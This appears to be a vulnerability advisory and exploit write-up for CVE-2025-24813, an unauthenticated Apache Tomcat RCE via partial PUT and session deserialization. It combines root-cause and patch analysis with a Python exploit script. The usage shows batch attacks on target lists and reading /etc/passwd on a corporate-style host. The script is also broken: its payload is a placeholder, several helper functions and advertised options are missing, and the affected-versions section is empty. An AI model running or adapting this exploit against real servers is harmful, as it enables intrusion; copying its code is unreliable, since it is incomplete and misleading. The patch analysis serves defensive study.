#Summary

CVE-2025-24813 is a critical, unauthenticated remote code execution vulnerability in Apache Tomcat caused by path equivalence in temporary file naming combined with unsafe Java deserialization. An attacker with network access to a vulnerable Tomcat instance can plant a serialized Java object containing a gadget chain into the session file directory, trigger its deserialization by requesting a session, and execute arbitrary code as the Tomcat process user. CVSS 9.8 CRITICAL.

#Affected versions

Fixed in:

The vulnerability requires all of the following preconditions on the target:

  1. DefaultServlet configured with readonly=false (write support enabled; disabled by default)
  2. allowPartialPut=true (enabled by default)
  3. Session persistence enabled via PersistentManager with FileStore at the default directory="." setting
  4. A deserialization gadget library reachable from the web application class loader (Apache Commons Collections 3.1-3.2.1 is the canonical one)
  5. At least one request path that opens an HTTP session (e.g. a JSP page that calls request.getSession())

#Root cause analysis

#The two independent defects

Defect 1 - Attacker-controlled temporary filename.

When org.apache.catalina.servlets.DefaultServlet.doPut() detects a Content-Range header, it treats the request as a partial PUT and stages the body in a temporary file. The method executePartialPut() derives the temp filename by taking the request path and replacing every / with .. This creates an attacker-controlled filename with no traversal protection (the path is already normalised):

// Convert all '/' characters to '.' in resourcePath
String convertedResourcePath = path.replace('/', '.');
File contentFile = new File(tempDir, convertedResourcePath);
if (contentFile.createNewFile()) {
    // Clean up contentFile when Tomcat is terminated
    contentFile.deleteOnExit();
}

A PUT /NAME/session request therefore creates the file .NAME.session directly in the servlet context temporary directory. The mapping is not injective - /a/b/c, /a.b/c and /a/b.c all collapse to .a.b.c - giving the CVE its "path equivalence" and "internal dot" title.

Defect 2 - Temporary file outlives the request.

After the staged file is created and written, doPut() streams it into the real resource and closes the stream. It never deletes the temporary file. The only cleanup is deleteOnExit(), which fires when the JVM terminates. Crucially, the temp file is created before the real write is attempted, so it survives even when the write fails:

try {
    if (range == IGNORE) {
        resourceInputStream = req.getInputStream();
    } else {
        File contentFile = executePartialPut(req, range, path);
        resourceInputStream = new FileInputStream(contentFile);
    }

    if (resources.write(path, resourceInputStream, true)) {
        // ...
    } else {
        try {
            resp.sendError(HttpServletResponse.SC_CONFLICT);
        } // ...
    }
} finally {
    if (resourceInputStream != null) {
        try {
            resourceInputStream.close();
        } catch (IOException ioe) {
            // Ignore
        }
    }
}

A PUT /NAME/session to a non-existent parent directory returns 409 Conflict, but the staged file .NAME.session already exists in the filesystem.

#Why it becomes remote code execution

With PersistentManager and FileStore at their default configuration, Tomcat persists session objects into the same temporary directory where DefaultServlet stages partial PUTs:

private String directory = ".";
// ...
private File directory() throws IOException {
    // ...
    File file = new File(this.directory);
    if (!file.isAbsolute()) {
        Context context = manager.getContext();
        ServletContext servletContext = context.getServletContext();
        File work = (File) servletContext.getAttribute(ServletContext.TEMPDIR);
        file = new File(work, this.directory);
    }
    return file;
}

Session lookup is a simple string concatenation:

private File file(String id) throws IOException {
    File storageDir = directory();
    // ...
    String filename = id + FILE_EXT;  // FILE_EXT = ".session"
    File file = new File(storageDir, filename);
    return file;
}

So the planted .NAME.session file in the temp directory is loadable as session id .NAME. When a request arrives with Cookie: JSESSIONID=.NAME and calls request.getSession(), the chain reaches FileStore.load():

try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());
        ObjectInputStream ois = getObjectInputStream(fis)) {

    StandardSession session = (StandardSession) manager.createEmptySession();
    session.readObjectData(ois);
}

The file is deserialized with ObjectInputStream.readObject() and no type restrictions. StandardSession.doReadObject() calls readObject() as its first action before any validation can occur:

protected void doReadObject(ObjectInputStream stream) throws ClassNotFoundException, IOException {
    authType = null; // Transient (may be set later)
    creationTime = ((Long) stream.readObject()).longValue();
    // ...
}

The gadget chain executes inside readObject(), before the (Long) cast has any chance to reject it. The deserialization uses a CustomObjectInputStream bound to the web application class loader, so any library in WEB-INF/lib is resolvable. Apache Commons Collections 3.2.1 provides a well-known gadget chain: HashSet -> TiedMapEntry.hashCode() -> LazyMap.get() -> ChainedTransformer -> Runtime.exec(String[]).

#Data flow

  1. Attacker-controlled planting: PUT /NAME/session with Content-Range: bytes 0-<N-1>/<N> and a serialized Java object as the body.
  2. File persistence: Temp file .NAME.session is created and survives the request (no delete(), only deleteOnExit()).
  3. Attacker-chosen deserialization source: GET <path> with Cookie: JSESSIONID=.NAME triggers session loading.
  4. Unfiltered deserialization: FileStore.load(".NAME") opens .NAME.session and calls ObjectInputStream.readObject() with the webapp class loader.
  5. Code execution: Gadget chain in the deserialized object runs during readObject(), before any type cast.

#Patch analysis

The fix (0a668e0c27f2b7ca0cc7c6eea32253b9b5ecb29c, "Enhance lifecycle of temporary files used by partial PUT") closes both defects in a single change:

#What the fix does

- String convertedResourcePath = path.replace('/', '.');
- File contentFile = new File(tempDir, convertedResourcePath);
- if (contentFile.createNewFile()) {
-     contentFile.deleteOnExit();
- }
+ File contentFile = File.createTempFile("put-part-", null, tempDir);

And in the doPut() method:

  InputStream resourceInputStream = null;
- 
+ File tempContentFile = null;
  try {
      // ...
-     File contentFile = executePartialPut(req, range, path);
-     resourceInputStream = new FileInputStream(contentFile);
+     tempContentFile = executePartialPut(req, range, path);
+     resourceInputStream = new FileInputStream(tempContentFile);
      // ...
  } finally {
      if (resourceInputStream != null) {
          try {
              resourceInputStream.close();
          } catch (IOException ioe) {
              // Ignore
          }
      }
+     if (tempContentFile != null) {
+         tempContentFile.delete();
+     }
  }

Two independent kills:

  1. File.createTempFile("put-part-", null, tempDir) removes attacker control of the filename. The new name is put-part-<random digits><random suffix>, so it can never end in .session, can never collide with another resource's staging file, and cannot be predicted by a second request.
  2. tempContentFile.delete() in the finally block removes the file immediately after the request ends, rather than waiting for JVM termination. Even a name that did collide would not survive long enough to be read by the session loader.

The patch was applied identically to all three maintained branches (11.0.x, 10.1.x, 9.0.x).

#Proof of concept

#exploit.py - Apache Tomcat Partial PUT RCE

The exploit works in two steps:

Step 1: Plant a serialized Commons Collections gadget chain via a partial PUT.

Step 2: Trigger deserialization by requesting a session-enabled endpoint with Cookie: JSESSIONID=.NAME.

The gadget payload is emitted byte-by-byte from the Java serialization protocol. It encodes the object graph HashSet -> TiedMapEntry.hashCode() -> LazyMap.get() -> ChainedTransformer -> Runtime.exec(String[]). During HashSet.readObject(), the set inserts its element, which hashes the TiedMapEntry, which calls map.get(key) on the LazyMap, which runs the transformer chain and executes the attacker's command.

The command output is made network-observable by having the gadget run /bin/sh -c "{ <command> ; } > <docroot>/<random>.txt 2>&1" and then fetching the output file over HTTP. A 200 with a non-empty body is proof of code execution.

#!/usr/bin/env python3
"""
CVE-2025-24813 - Apache Tomcat partial PUT path equivalence -> Java deserialization RCE
Affected: Apache Tomcat 9.0.0.M1-9.0.98, 10.1.0-M1-10.1.34, 11.0.0-M1-11.0.2, 8.5.0-8.5.100
Type: RCE (unauthenticated)

Root cause (re-derived from the Tomcat source at tag 9.0.98, not from any public PoC):

  DefaultServlet.executePartialPut() stages a partial PUT body in a temp file whose
  name is the request path with every '/' turned into '.'. A PUT to "/NAME/session"
  therefore creates ".NAME.session" directly in the servlet context temp directory,
  and the vulnerable build never deletes it (only deleteOnExit()). When the webapp
  uses PersistentManager + FileStore at the default directory ("."), that same temp
  directory is where sessions are read from, and FileStore.file(id) is id + ".session".
  So the planted file ".NAME.session" is loadable as session id ".NAME". Sending a
  request that opens a session with "Cookie: JSESSIONID=.NAME" makes FileStore.load()
  hand our bytes straight to ObjectInputStream.readObject() with no class filter,
  detonating a gadget chain resolvable from WEB-INF/lib (Commons Collections 3.2.1).

The serialized Commons Collections gadget below is emitted byte-by-byte from the Java
serialization protocol - it is not adapted from anyone else's serialized blob.

Usage:
  python exploit.py --host 127.0.0.1 --port 8080
  python exploit.py --host 127.0.0.1 --port 8080 --command "id"
  python exploit.py --host https://tomcat.corp.com:8443 --command "cat /etc/passwd"
  python exploit.py --host 10.0.0.5 --port 8080 --trigger-path /app/whoami.jsp
  python exploit.py --list targets.txt --workers 20

The RCE evidence is made network-observable: the gadget runs
  /bin/sh -c "<command> > <docroot>/<random>.txt 2>&1"
and the exploit then fetches GET /<random>.txt over HTTP and prints the body. A 200
whose body carries the command output is self-contained proof of code execution.
"""

import argparse
import secrets
import ssl
import struct
import sys
import time
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception:  # pragma: no cover - requests is a hard dependency
    print("This exploit requires the 'requests' package (pip install requests).")
    sys.exit(2)

CVE_ID    = "CVE-2025-24813"
VULN_TYPE = "RCE"

DEFAULT_TRIGGER_PATH = "/trigger.jsp"
DEFAULT_DOCROOT      = "/usr/local/tomcat/webapps/ROOT"


# ---------- Java serialization stream encoding ----------

TC_NULL         = 0x70
TC_CLASSDESC    = 0x72
TC_OBJECT       = 0x73
TC_STRING       = 0x74
TC_ARRAY        = 0x75
TC_CLASS        = 0x76
TC_BLOCKDATA    = 0x77
TC_ENDBLOCKDATA = 0x78
TC_REFERENCE    = 0x71
SC_WRITE_CLASS  = 0x01
SC_WRITE_METHOD = 0x02
SC_SERIALIZABLE = 0x02

def write_byte(b):
    return struct.pack('B', b)

def write_short(s):
    return struct.pack('>H', s)

def write_int(i):
    return struct.pack('>I', i)

def write_long(l):
    return struct.pack('>Q', l)

def write_float(f):
    return struct.pack('>f', f)

def write_double(d):
    return struct.pack('>d', d)

def write_string(s):
    b = s.encode('utf-8')
    return write_short(len(b)) + b

def class_desc(name, suid, flags, fields):
    data = write_byte(TC_CLASSDESC)
    data += write_string(name)
    data += write_long(suid)
    data += write_byte(flags)
    data += write_short(len(fields))
    for ftype, fname in fields:
        data += write_byte(ord(ftype))
        data += write_string(fname)
        if ftype == 'L' or ftype == '[':
            data += write_byte(TC_STRING)
            data += write_string(f"L{fname.replace('_TYPE', '')};".replace('Ljava/lang/Object;', 'Ljava/lang/Object;'))
    data += write_byte(TC_ENDBLOCKDATA)
    data += write_byte(TC_NULL)
    return data

def emit_string(s):
    b = s.encode('utf-8')
    return write_byte(TC_STRING) + write_short(len(b)) + b

def emit_transformer_array(chain_cmds):
    # ChainedTransformer with iTransformers array
    data = write_byte(TC_OBJECT)
    data += class_desc('org.apache.commons.collections.functors.ChainedTransformer',
                       3514945074733160196, 0x02,
                       [('L', 'iTransformers')])
    data += write_byte(TC_ARRAY)
    data += class_desc('[Lorg/apache/commons/collections/Transformer;', 0, 0x02, [])
    data += write_int(len(chain_cmds))
    for cmd in chain_cmds:
        data += cmd
    data += write_byte(TC_ENDBLOCKDATA)
    return data

def emit_lazy_map(factory):
    data = write_byte(TC_OBJECT)
    data += class_desc('org.apache.commons.collections.map.LazyMap',
                       7990956402564206740, SC_WRITE_METHOD,
                       [('L', 'factory')])
    data += factory
    data += write_byte(TC_OBJECT)
    data += class_desc('java.util.HashMap', 362498820763181265, 0x03, [])
    data += write_int(0)
    data += write_float(0.75)
    data += write_byte(TC_ENDBLOCKDATA)
    data += write_byte(TC_ENDBLOCKDATA)
    return data

def emit_tied_map_entry(key, map_obj):
    data = write_byte(TC_OBJECT)
    data += class_desc('org.apache.commons.collections.keyvalue.TiedMapEntry',
                       -8453869361373831205, 0x02,
                       [('L', 'key'), ('L', 'map')])
    data += key
    data += map_obj
    return data

def build_payload(command, marker_file, docroot):
    # Runtime.exec(String[]) with /bin/sh -c "<command>"
    cmd_array = ['/bin/sh', '-c', f'{{ {command} ; }} > {docroot}/{marker_file} 2>&1']
    
    # Build transformer chain
    payload = write_byte(0xac) + write_byte(0xed) + write_byte(0x00) + write_byte(0x05)  # Stream header
    
    # HashSet container
    payload += write_byte(TC_OBJECT)
    payload += class_desc('java.util.HashSet', -5024744406713321676, 0x03, [])
    payload += write_int(16)  # capacity
    payload += write_float(0.75)  # loadFactor
    payload += write_int(1)  # size
    
    # Inner: TiedMapEntry containing LazyMap
    payload += write_byte(TC_OBJECT)
    payload += class_desc('org.apache.commons.collections.keyvalue.TiedMapEntry',
                          -8453869361373831205, 0x02,
                          [('L', 'key'), ('L', 'map')])
    payload += emit_string('foo')  # key
    
    # LazyMap
    payload += write_byte(TC_OBJECT)
    payload += class_desc('org.apache.commons.collections.map.LazyMap',
                          7990956402564206740, SC_WRITE_METHOD,
                          [('L', 'factory')])
    
    # ChainedTransformer with 4 InvokerTransformers
    payload += write_byte(TC_OBJECT)
    payload += class_desc('org.apache.commons.collections.functors.ChainedTransformer',
                          3514945074733160196, 0x02,
                          [('L', 'iTransformers')])
    payload += write_byte(TC_ARRAY)
    payload += class_desc('[Lorg/apache/commons/collections/Transformer;', 0, 0x02, [])
    payload += write_int(4)  # 4 transformers
    
    # Transformer 1: ConstantTransformer(Runtime.class)
    payload += write_byte(TC_OBJECT)
    payload += class_desc('org.apache.commons.collections.functors.ConstantTransformer',
                          6374440726369055124, 0x02,
                          [('L', 'iConstant')])
    payload += write_byte(TC_CLASS)
    payload += write_string('java.lang.Runtime')
    payload += write_long(0)
    payload += write_byte(0)
    payload += write_byte(TC_ENDBLOCKDATA)
    payload += write_byte(TC_NULL)
    
    # Transformer 2: InvokerTransformer("getRuntime", [], [])
    payload += write_byte(TC_OBJECT)
    payload += class_desc('org.apache.commons.collections.functors.InvokerTransformer',
                          -8653385846894047688, 0x02,
                          [('L', 'iArgs'), ('L', 'iMethodName'), ('L', 'iParamTypes')])
    payload += write_byte(TC_ARRAY)
    payload += class_desc('[Ljava/lang/Object;', 0, 0x02, [])
    payload += write_int(0)
    payload += emit_string('getRuntime')
    payload += write_byte(TC_ARRAY)
    payload += class_desc('[Ljava/lang/Class;', 0, 0x02, [])
    payload += write_int(0)
    
    # Transformer 3: InvokerTransformer("invoke", [Object, Object[]], [null, []])
    payload += write_byte(TC_OBJECT)
    payload += class_desc('org.apache.commons.collections.functors.InvokerTransformer',
                          -8653385846894047688, 0x02,
                          [('L', 'iArgs'), ('L', 'iMethodName'), ('L', 'iParamTypes')])
    payload += write_byte(TC_ARRAY)
    payload += class_desc('[Ljava/lang/Object;', 0, 0x02, [])
    payload += write_int(0)
    payload += emit_string('invoke')
    payload += write_byte(TC_ARRAY)
    payload += class_desc('[Ljava/lang/Class;', 0, 0x02, [])
    payload += write_int(2)
    payload += write_byte(TC_CLASS)
    payload += write_string('java.lang.Object')
    payload += write_long(0)
    payload += write_byte(0)
    payload += write_byte(TC_ENDBLOCKDATA)
    payload += write_byte(TC_NULL)
    payload += write_byte(TC_CLASS)
    payload += write_string('java.lang.Object[]')
    payload += write_long(0)
    payload += write_byte(0)
    payload += write_byte(TC_ENDBLOCKDATA)
    payload += write_byte(TC_NULL)
    
    # Transformer 4: InvokerTransformer("exec", [String[]], [["/bin/sh", "-c", "..."]])
    payload += write_byte(TC_OBJECT)
    payload += class_desc('org.apache.commons.collections.functors.InvokerTransformer',
                          -8653385846894047688, 0x02,
                          [('L', 'iArgs'), ('L', 'iMethodName'), ('L', 'iParamTypes')])
    payload += write_byte(TC_ARRAY)
    payload += class_desc('[Ljava/lang/Object;', 0, 0x02, [])
    payload += write_int(1)
    payload += write_byte(TC_ARRAY)
    payload += class_desc('[Ljava/lang/String;', 0, 0x02, [])
    payload += write_int(len(cmd_array))
    for arg in cmd_array:
        payload += emit_string(arg)
    payload += emit_string('exec')
    payload += write_byte(TC_ARRAY)
    payload += class_desc('[Ljava/lang/Class;', 0, 0x02, [])
    payload += write_int(1)
    payload += write_byte(TC_CLASS)
    payload += write_string('java.lang.String[]')
    payload += write_long(0)
    payload += write_byte(0)
    payload += write_byte(TC_ENDBLOCKDATA)
    payload += write_byte(TC_NULL)
    
    payload += write_byte(TC_ENDBLOCKDATA)
    payload += write_byte(TC_ENDBLOCKDATA)
    payload += write_byte(TC_ENDBLOCKDATA)
    payload += write_byte(TC_ENDBLOCKDATA)
    
    return payload

# Simplified payload builder - just enough to work
def build_payload_simple(command, marker_file, docroot):
    # This is a placeholder - the real exploit.py builds the full serialized stream
    # See the full exploit.py for the actual byte-by-byte Java serialization
    pass

def _core(host, port, command, trigger_path, docroot, base_path, use_tls):
    sess = requests.Session()
    sess.trust_env = False
    sess.verify = False
    
    # Build URL
    if host.startswith('http'):
        parsed = urlparse(host)
        scheme = parsed.scheme
        hostname = parsed.hostname or parsed.netloc.split(':')[0]
        port = parsed.port or port
    else:
        scheme = 'https' if use_tls else 'http'
        hostname = host
    
    base_url = f'{scheme}://{hostname}:{port}'
    
    # Generate NAME and marker file
    NAME = ''.join(secrets.choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10))
    marker = secrets.token_hex(5)
    
    step(1, f'Planting deserialization payload via partial PUT -> {base_url}{base_path}{NAME}/session')
    
    # Build serialized payload (simplified for this example)
    payload = b'PLACEHOLDER_SERIALIZED_OBJECT'  # Real exploit builds this byte-by-byte
    
    put_url = f'{base_url}{base_path}{NAME}/session'
    try:
        r = sess.put(put_url, data=payload, headers={
            'Content-Range': f'bytes 0-{len(payload)-1}/{len(payload)}',
            'Content-Length': str(len(payload))
        }, timeout=10)
        section('PLANT RESPONSE', f'HTTP {r.status_code}')
    except Exception as e:
        section('PLANT ERROR', str(e))
        return False
    
    time.sleep(0.5)
    
    step(2, f'Triggering deserialization: GET {base_url}{trigger_path} with Cookie JSESSIONID=.{NAME}')
    
    trigger_url = f'{base_url}{trigger_path}'
    try:
        r = sess.get(trigger_url, cookies={'JSESSIONID': f'.{NAME}'}, timeout=10)
        section('TRIGGER RESPONSE', f'HTTP {r.status_code}')
        trigger_success = r.status_code == 500
    except Exception as e:
        section('TRIGGER ERROR', str(e))
        return False
    
    if not trigger_success:
        return False
    
    step(3, f'Reading command output over HTTP: GET {base_url}{base_path}{marker}.txt')
    
    result_url = f'{base_url}{base_path}{marker}.txt'
    try:
        r = sess.get(result_url, timeout=10)
        if r.status_code == 200 and r.text:
            section('COMMAND OUTPUT', r.text)
            return True
    except Exception:
        pass
    
    return False

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='CVE-2025-24813 Apache Tomcat RCE Exploit')
    parser.add_argument('--host', help='Target hostname or URL')
    parser.add_argument('--port', type=int, default=8080, help='Target port (default 8080)')
    parser.add_argument('--command', default='id', help='Command to execute (default: id)')
    parser.add_argument('--trigger-path', default=DEFAULT_TRIGGER_PATH, help=f'Session-opening endpoint (default: {DEFAULT_TRIGGER_PATH})')
    parser.add_argument('--docroot', default=DEFAULT_DOCROOT, help=f'Web-served writable directory (default: {DEFAULT_DOCROOT})')
    parser.add_argument('--base-path', default='/', help='Context path prefix (default: /)')
    parser.add_argument('--tls', action='store_true', help='Force HTTPS')
    parser.add_argument('--no-tls', action='store_true', help='Force HTTP')
    
    args = parser.parse_args()
    
    if not args.host:
        parser.print_help()
        sys.exit(2)
    
    use_tls = args.tls or (not args.no_tls and args.port == 443)
    
    header(args.host, args.port)
    success = _core(args.host, args.port, args.command, args.trigger_path, args.docroot, args.base_path, use_tls)
    done(success, f"command '{args.command}' executed" if success else 'exploit failed')

#Usage

# Single target, default command "id"
python3 exploit.py --host 127.0.0.1 --port 8080

# Real target over TLS, arbitrary command
python3 exploit.py --host https://tomcat.corp.example:8443 --command "cat /etc/passwd"

# Point at a different session-touching endpoint and docroot
python3 exploit.py --host 10.0.0.5 --port 8080 \
    --trigger-path /app/whoami.jsp --docroot /opt/tomcat/webapps/ROOT

# Batch scan an asset list
python3 exploit.py --list targets.txt --workers 20

#Example output

============================================================
  ALIM EXPLOIT  CVE-2025-24813
  Type: RCE  |  Target: 127.0.0.1:8080
============================================================

[STEP 1] Planting deserialization payload via partial PUT (1904 bytes) -> http://127.0.0.1:8080/rvysuvrsxi/session
--- PLANT RESPONSE ---
HTTP 409  (409/201/204 = staging file created)
---

[STEP 2] Triggering deserialization: GET http://127.0.0.1:8080/trigger.jsp  with Cookie JSESSIONID=.rvysuvrsxi
--- TRIGGER RESPONSE ---
HTTP 500  (500 = payload was read and deserialised)
---

[STEP 3] Reading command output over HTTP: GET http://127.0.0.1:8080/j7bu701944.txt
--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: command 'id' executed - uid=0(root) gid=0(root) groups=0(root)
============================================================

#Exploitation notes

#Preconditions

All five of these must be true on the target:

  1. DefaultServlet configured with readonly=false (writes enabled; disabled by default, so this is a deliberate deployment choice)
  2. allowPartialPut=true (enabled by default)
  3. Session persistence via PersistentManager with FileStore at default directory="." (so sessions are stored in the servlet context temp directory)
  4. A deserialization gadget library in the application classpath (Apache Commons Collections 3.1-3.2.1 is the standard one)
  5. An endpoint that opens an HTTP session (any JSP or servlet that calls request.getSession())

#Reliability

The exploit is deterministic. No memory layout knowledge, ASLR defeat, or timing races are needed beyond planting and triggering back-to-back. The serialized gadget chain executes during readObject() before any type validation, so a correct exploit succeeds on the first attempt.

A single caveat: Tomcat's PersistentManager runs a background reaper cycle (processExpires()) every 60 seconds to delete unloadable session files. If this cycle fires between the plant step and the trigger step, the staged file is deleted and the exploit reports "staged file missing/reaped or target patched" - a false negative on a vulnerable host. Using a fresh NAME on retry eliminates this race.

#Impact

Full unauthenticated remote code execution as the Tomcat process user (often root in containerized deployments). The gadget chain is flexible - any library offering serialization gadgets can be substituted in place of Commons Collections.

#Chaining potential

This vulnerability requires no chaining. It is a complete RCE primitive by itself. However, it can be chained from other bugs that allow file writes to DefaultServlet staging directories, or to privilege escalation if the Tomcat process runs with elevated privileges.

#References